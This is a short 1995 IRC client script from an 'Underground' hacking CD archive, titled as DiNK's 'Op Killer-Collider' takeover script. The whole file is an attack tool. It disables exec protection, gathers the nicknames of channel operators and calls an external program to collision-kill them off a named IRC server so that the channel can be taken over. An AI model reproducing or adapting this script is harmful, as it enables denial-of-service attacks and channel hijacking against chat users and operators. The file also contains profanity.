home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / hack / progsy / inne / killop / KILL.IRC < prev    next >
Encoding:
Text File  |  1995-06-12  |  725 b   |  32 lines
  1. #Op Killer-Collider by DiNK
  2.  
  3. ^set ZZZ IRC.AIS.NET
  4. ^set NOVICE OFF
  5. ^set EXEC_PROTECTION OFF
  6. ^set MAX_RECURSIONS 200
  7.  
  8. EVAL /echo Loading DiNK's takeover script!
  9. /exec ll _doh_ irc.ais.net:6667 'fuck off mofo' heheh
  10.  
  11. /alias get_nicks {
  12.     foreach NICKLIST ii {^assign kill_list $NICKLIST[$ii] $kill_list}
  13. }
  14.  
  15. /alias opkill if ([$0]) {
  16.    ^assign zzz $0
  17.    ^assign -kill_list
  18.    /echo Attempting to collision kill all operators on $C\.
  19.    ^on ^names "*" /opkill2 $$1-\;^on ^names -"*"
  20.    /names $C
  21. }
  22.  
  23. /alias opkill2 {
  24.   if (([$[1]0]==[@])&&([$0]!=[@]##N)) {^assign kill_list $strip(@ $0) $kill_list}
  25.   if ([$1]) {/opkill2 $1-}
  26.   {
  27.         /exec mcb -m $zzz $strip(^\| $kill_list)
  28.     /echo Now Killing: 
  29.         /echo $kill_list
  30.   }
  31. }
  32.